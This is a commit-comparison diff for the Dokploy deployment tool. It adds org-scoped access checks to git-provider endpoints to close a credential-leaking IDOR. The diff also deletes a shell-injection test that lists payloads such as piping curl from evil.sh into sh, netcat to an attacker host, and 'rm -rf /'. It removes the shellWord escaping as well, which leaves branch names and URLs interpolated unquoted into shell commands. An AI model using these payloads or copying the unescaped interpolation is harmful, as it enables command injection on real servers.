Compare commits

..

3 Commits

Author SHA1 Message Date
Mauricio Siu
556e1cf92d docs: trim block comment on assertGitProviderAccess 2026-07-19 21:37:21 -06:00
Mauricio Siu
26cae3b8a9 fix(types): guard git-provider access check for optional id in getBranches
The getBranches inputs type the provider id as optional, so only fetch and
authorize when an id is actually present; the underlying getBranches already
returns [] when no id is supplied.
2026-07-19 21:04:54 -06:00
Mauricio Siu
071d9eacee fix(security): enforce org-scope on git provider read endpoints
The .one / getRepositories / getBranches / testConnection handlers for
github, gitlab, gitea and bitbucket resolved a provider by bare id under
protectedProcedure and returned the full row (OAuth tokens, app private
keys, webhook secrets) with no organization or entitlement check, letting
any authenticated user read another org's git-provider credentials (IDOR).

Adds assertGitProviderAccess() in the git-provider service (rejects cross-org
with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing
getAccessibleGitProviderIds entitlement logic) and calls it in every read
handler before returning secret-bearing data.

Closes GHSA-66r5-5m5f-57vg
2026-07-19 20:55:53 -06:00
14 changed files with 202 additions and 134 deletions

View File

@@ -1,87 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -0,0 +1,91 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Docker cleanup is performed. Trigger the action when Docker cleanup is
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createBitbucket, createBitbucket,
findBitbucketById, findBitbucketById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({
}), }),
one: protectedProcedure one: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
return await findBitbucketById(input.bitbucketId); const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return bitbucket;
}), }),
bitbucketProviders: protectedProcedure.query(async ({ ctx }) => { bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -78,18 +81,26 @@ export const bitbucketRouter = createTRPCRouter({
getBitbucketRepositories: protectedProcedure getBitbucketRepositories: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return await getBitbucketRepositories(input.bitbucketId); return await getBitbucketRepositories(input.bitbucketId);
}), }),
getBitbucketBranches: protectedProcedure getBitbucketBranches: protectedProcedure
.input(apiFindBitbucketBranches) .input(apiFindBitbucketBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.bitbucketId) {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
}
return await getBitbucketBranches(input); return await getBitbucketBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiBitbucketTestConnection) .input(apiBitbucketTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
const result = await testBitbucketConnection(input); const result = await testBitbucketConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createGitea, createGitea,
findGiteaById, findGiteaById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({
} }
}), }),
one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => { one: protectedProcedure
return await findGiteaById(input.giteaId); .input(apiFindOneGitea)
}), .query(async ({ input, ctx }) => {
const gitea = await findGiteaById(input.giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
return gitea;
}),
giteaProviders: protectedProcedure.query(async ({ ctx }) => { giteaProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaRepositories: protectedProcedure getGiteaRepositories: protectedProcedure
.input(apiFindOneGitea) .input(apiFindOneGitea)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const { giteaId } = input; const { giteaId } = input;
if (!giteaId) { if (!giteaId) {
@@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const repositories = await getGiteaRepositories(giteaId); const repositories = await getGiteaRepositories(giteaId);
return repositories; return repositories;
@@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaBranches: protectedProcedure getGiteaBranches: protectedProcedure
.input(apiFindGiteaBranches) .input(apiFindGiteaBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const { giteaId, owner, repositoryName } = input; const { giteaId, owner, repositoryName } = input;
if (!giteaId || !owner || !repositoryName) { if (!giteaId || !owner || !repositoryName) {
@@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
return await getGiteaBranches({ return await getGiteaBranches({
giteaId, giteaId,
@@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGiteaTestConnection) .input(apiGiteaTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
const giteaId = input.giteaId ?? ""; const giteaId = input.giteaId ?? "";
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const result = await testGiteaConnection({ const result = await testGiteaConnection({
giteaId, giteaId,

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
findGithubById, findGithubById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
getGithubBranches, getGithubBranches,
@@ -22,17 +23,27 @@ import {
} from "@/server/db/schema"; } from "@/server/db/schema";
export const githubRouter = createTRPCRouter({ export const githubRouter = createTRPCRouter({
one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => { one: protectedProcedure
return await findGithubById(input.githubId); .input(apiFindOneGithub)
}), .query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return github;
}),
getGithubRepositories: protectedProcedure getGithubRepositories: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return await getGithubRepositories(input.githubId); return await getGithubRepositories(input.githubId);
}), }),
getGithubBranches: protectedProcedure getGithubBranches: protectedProcedure
.input(apiFindGithubBranches) .input(apiFindGithubBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.githubId) {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
}
return await getGithubBranches(input); return await getGithubBranches(input);
}), }),
githubProviders: protectedProcedure.query(async ({ ctx }) => { githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -67,8 +78,10 @@ export const githubRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
const result = await getGithubRepositories(input.githubId); const result = await getGithubRepositories(input.githubId);
return `Found ${result.length} repositories`; return `Found ${result.length} repositories`;
} catch (err) { } catch (err) {

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createGitlab, createGitlab,
findGitlabById, findGitlabById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({
}); });
} }
}), }),
one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => { one: protectedProcedure
return await findGitlabById(input.gitlabId); .input(apiFindOneGitlab)
}), .query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return gitlab;
}),
gitlabProviders: protectedProcedure.query(async ({ ctx }) => { gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -86,19 +91,27 @@ export const gitlabRouter = createTRPCRouter({
}), }),
getGitlabRepositories: protectedProcedure getGitlabRepositories: protectedProcedure
.input(apiFindOneGitlab) .input(apiFindOneGitlab)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return await getGitlabRepositories(input.gitlabId); return await getGitlabRepositories(input.gitlabId);
}), }),
getGitlabBranches: protectedProcedure getGitlabBranches: protectedProcedure
.input(apiFindGitlabBranches) .input(apiFindGitlabBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.gitlabId) {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
}
return await getGitlabBranches(input); return await getGitlabBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGitlabTestConnection) .input(apiGitlabTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
const result = await testGitlabConnection(input); const result = await testGitlabConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -119,3 +119,26 @@ export const getAccessibleGitProviderIds = async (session: {
} }
return result; return result;
}; };
// Throws if the provider is in another organization (NOT_FOUND) or the caller
// is not entitled to it in the active org (FORBIDDEN). Call before returning any
// git-provider record that carries secrets.
export const assertGitProviderAccess = async (
session: { userId: string; activeOrganizationId: string },
provider: { gitProviderId: string; organizationId: string },
) => {
if (provider.organizationId !== session.activeOrganizationId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Git provider not found",
});
}
const accessibleIds = await getAccessibleGitProviderIds(session);
if (!accessibleIds.has(provider.gitProviderId)) {
throw new TRPCError({
code: "FORBIDDEN",
message: "You don't have access to this git provider",
});
}
};

View File

@@ -11,7 +11,6 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType< export type ApplicationWithBitbucket = InferResultType<
"applications", "applications",
@@ -125,8 +124,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command; return command;
}; };

View File

@@ -5,7 +5,6 @@ import {
updateSSHKeyById, updateSSHKeyById,
} from "@dokploy/server/services/ssh-key"; } from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository { interface CloneGitRepository {
appName: string; appName: string;
@@ -62,7 +61,7 @@ export const cloneGitRepository = async ({
} }
command += `rm -rf ${outputPath};`; command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`; command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
if (customGitSSHKeyId) { if (customGitSSHKeyId) {
await updateSSHKeyById({ await updateSSHKeyById({
@@ -79,8 +78,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;"; command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
} }
command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)}; echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
exit 1; exit 1;
fi fi
`; `;
@@ -115,7 +114,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's // it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`; return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
}; };
const sanitizeRepoPathSSH = (input: string) => { const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp( const SSH_PATH_RE = new RegExp(

View File

@@ -7,7 +7,6 @@ import {
} from "@dokploy/server/services/gitea"; } from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: { export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null; giteaRepository?: string | null;
@@ -177,8 +176,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!, giteaRepository!,
); );
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command; return command;
}; };

View File

@@ -7,7 +7,6 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => { export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) { if (!haveGithubRequirements(githubProvider)) {
@@ -167,8 +166,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`; const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command; return command;
}; };

View File

@@ -9,7 +9,6 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => { export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId); const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -152,8 +151,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command; return command;
}; };

View File

@@ -1,6 +0,0 @@
import { quote } from "shell-quote";
// Escapes a value so it is safe to interpolate as a single argument into a
// /bin/sh -c command string (local execAsync and remote SSH execAsyncRemote).
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);